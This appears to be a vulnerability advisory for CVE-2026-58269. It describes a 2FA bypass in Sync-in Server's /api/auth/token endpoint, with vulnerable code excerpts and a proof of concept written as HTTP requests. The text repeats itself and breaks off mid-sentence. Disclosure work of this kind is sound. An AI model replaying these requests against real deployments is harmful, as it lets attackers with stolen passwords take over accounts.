CVE-2026-58269

Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, POST /api/auth/token authenticates with username and password only, then calls getTokens(), which returns full access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker with stolen or phished credentials can bypass 2FA in a single request. The parallel login endpoint (POST /api/auth/login) correctly enforces 2FA by calling setCookies(user, res, true), which gates on user.twoFaEnabled. Version 2.4.0 patches the issue.

Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, POST /api/auth/token authenticates with username and password only, then calls getTokens(), which returns full access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker with stolen or phished credentials can bypass 2FA in a single request. The parallel login endpoint (POST /api/auth/login) correctly enforces 2FA by calling setCookies(user, res, true), which gates on user.twoFaEnabled. Version 2.4.0 patches the issue.

Affected component: Sync-in Server v2.3.0, POST /api/auth/token (auth.controller.ts:50-55).

Required attacker capability: Valid username and password for a 2FA-enabled account.

Summary

POST /api/auth/token authenticates with username and password only, then calls getTokens(), which returns unrestricted Bearer access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker who already knows valid credentials for a 2FA-enabled account can bypass 2FA in a single request.

The parallel login endpoint (POST /api/auth/login) correctly enforces 2FA by calling setCookies(user, res, true), which gates on user.twoFaEnabled when server-side TOTP is enabled.

Details

The token endpoint at auth.controller.ts:50-55 uses AuthLocalGuard (password-only) and calls getTokens() directly:

// auth.controller.ts:50-55
@Post(AUTH_ROUTE.TOKEN)
@AuthTokenSkip()
@UseGuards(AuthLocalGuard)
token(@GetUser() user: UserModel): Promise<TokenResponseDto> {
  return this.authManager.getTokens(user)
}

getTokens() at auth.service.ts:25-39 signs and returns access and refresh JWTs. It never reads user.twoFaEnabled:

// auth.service.ts:25-39
async getTokens(user: UserModel, refresh = false): Promise<TokenResponseDto> {
  const currentTime = currentTimeStamp()
  // ...expiration logic...
  return {
    [TOKEN_TYPE.ACCESS]: await this.jwtSign(user, TOKEN_TYPE.ACCESS, accessExpiration),
    [TOKEN_TYPE.REFRESH]: await this.jwtSign(user, TOKEN_TYPE.REFRESH, refreshExpiration),
    // ...
  }
}

Compare with the login endpoint at auth.controller.ts:30-35, which calls setCookies(user, res, true). Inside setCookies() at auth.service.ts:45, the 2FA gate fires:

// auth.service.ts:45
const verify2Fa = init2FaVerify && configuration.auth.mfa.totp.enabled && user.twoFaEnabled

When verify2Fa is true, setCookies() issues only a restricted ACCESS_2FA token and requires the user to complete POST /api/auth/2fa/login/verify before receiving full session cookies. The token endpoint has no equivalent gate.

PoC

Prerequisites

• A Sync-in instance with TOTP 2FA enabled server-wide.
• A user account with 2FA enrolled (the target).
• The target's valid login and password, but not the TOTP secret or current TOTP code.

Steps

1. Enable 2FA on the target account. Log in as the target user, navigate to Settings, and enable TOTP two-factor authentication.

2. Confirm normal login requires 2FA. Log out. Log back in with the target's credentials. The UI presents a TOTP code prompt before granting access, and the API response contains only token.access_2fa_expiration (a restricted partial token):

POST /api/auth/login
{"login":"test","password":"..."}

Response: {"user":{"twoFaEnabled":true},"server":{"twoFaEnabled":true},"token":{"access_2fa_expiration":1781234379}}

3. Bypass 2FA via the token endpoint. Send the same credentials to /api/auth/token:

POST /api/auth/token
{"login":"test","password":"..."}

Response:
{
  "access": "eyJhbGciOiJIUzI1NiIs...",
  "refresh": "eyJhbGciOiJIUzI1NiIs...",
  "access_expiration": 1781235890,
  "refresh_expiration": 1781248490
}

Unrestricted Bearer access and refresh JWTs are returned. No TOTP code was required.

4. Confirm API access. Use the token on a protected endpoint:

GET /api/users/me
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

Response: {"user":{"id":16,"login":"test","email":"[email protected]","twoFaEnabled":true,...}}

The server returns the user profile. Protected API endpoints that accept Bearer authentication are accessible as the target user. No TOTP code was required at any step.

Measured observations

• The login endpoint (/api/auth/login) correctly returns a restricted 2FA-pending response.
• The token endpoint (/api/auth/token) returns unrestricted Bearer JWTs with the same credentials and no TOTP.
• The returned Bearer token grants…

Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, POST /api/auth/token authenticates with username and password only, then calls getTokens(), which returns full access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker with stolen or phished credentials can bypass 2FA in a single request. The parallel login endpoint (POST /api/auth/login) correctly enforces 2FA by calling setCookies(user, res, true), which gates on user.twoFaEnabled. Version 2.4.0 patches the issue.

Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, POST /api/auth/token authenticates with username and password only, then calls getTokens(), which returns full access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker with stolen or phished credentials can bypass 2FA in a single request. The parallel login endpoint (POST /api/auth/login) correctly enforces 2FA by calling setCookies(user, res, true), which gates on user.twoFaEnabled. Version 2.4.0 patches the issue.

Affected component: Sync-in Server v2.3.0, POST /api/auth/token (auth.controller.ts:50-55).

Required attacker capability: Valid username and password for a 2FA-enabled account.

Summary

POST /api/auth/token authenticates with username and password only, then calls getTokens(), which returns unrestricted Bearer access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker who already knows valid credentials for a 2FA-enabled account can bypass 2FA in a single request.

The parallel login endpoint (POST /api/auth/login) correctly enforces 2FA by calling setCookies(user, res, true), which gates on user.twoFaEnabled when server-side TOTP is enabled.

Details

The token endpoint at auth.controller.ts:50-55 uses AuthLocalGuard (password-only) and calls getTokens() directly:

// auth.controller.ts:50-55
@Post(AUTH_ROUTE.TOKEN)
@AuthTokenSkip()
@UseGuards(AuthLocalGuard)
token(@GetUser() user: UserModel): Promise<TokenResponseDto> {
  return this.authManager.getTokens(user)
}

getTokens() at auth.service.ts:25-39 signs and returns access and refresh JWTs. It never reads user.twoFaEnabled:

// auth.service.ts:25-39
async getTokens(user: UserModel, refresh = false): Promise<TokenResponseDto> {
  const currentTime = currentTimeStamp()
  // ...expiration logic...
  return {
    [TOKEN_TYPE.ACCESS]: await this.jwtSign(user, TOKEN_TYPE.ACCESS, accessExpiration),
    [TOKEN_TYPE.REFRESH]: await this.jwtSign(user, TOKEN_TYPE.REFRESH, refreshExpiration),
    // ...
  }
}

Compare with the login endpoint at auth.controller.ts:30-35, which calls setCookies(user, res, true). Inside setCookies() at auth.service.ts:45, the 2FA gate fires:

// auth.service.ts:45
const verify2Fa = init2FaVerify && configuration.auth.mfa.totp.enabled && user.twoFaEnabled

When verify2Fa is true, setCookies() issues only a restricted ACCESS_2FA token and requires the user to complete POST /api/auth/2fa/login/verify before receiving full session cookies. The token endpoint has no equivalent gate.

PoC

Prerequisites

• A Sync-in instance with TOTP 2FA enabled server-wide.
• A user account with 2FA enrolled (the target).
• The target's valid login and password, but not the TOTP secret or current TOTP code.

Steps

1. Enable 2FA on the target account. Log in as the target user, navigate to Settings, and enable TOTP two-factor authentication.

2. Confirm normal login requires 2FA. Log out. Log back in with the target's credentials. The UI presents a TOTP code prompt before granting access, and the API response contains only token.access_2fa_expiration (a restricted partial token):

POST /api/auth/login
{"login":"test","password":"..."}

Response: {"user":{"twoFaEnabled":true},"server":{"twoFaEnabled":true},"token":{"access_2fa_expiration":1781234379}}

3. Bypass 2FA via the token endpoint. Send the same credentials to /api/auth/token:

POST /api/auth/token
{"login":"test","password":"..."}

Response:
{
  "access": "eyJhbGciOiJIUzI1NiIs...",
  "refresh": "eyJhbGciOiJIUzI1NiIs...",
  "access_expiration": 1781235890,
  "refresh_expiration": 1781248490
}

Unrestricted Bearer access and refresh JWTs are returned. No TOTP code was required.

4. Confirm API access. Use the token on a protected endpoint:

GET /api/users/me
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

Response: {"user":{"id":16,"login":"test","email":"[email protected]","twoFaEnabled":true,...}}

The server returns the user profile. Protected API endpoints that accept Bearer authentication are accessible as the target user. No TOTP code was required at any step.

Measured observations

• The login endpoint (/api/auth/login) correctly returns a restricted 2FA-pending response.
• The token endpoint (/api/auth/token) returns unrestricted Bearer JWTs with the same credentials and no TOTP.
• The returned Bearer token grants…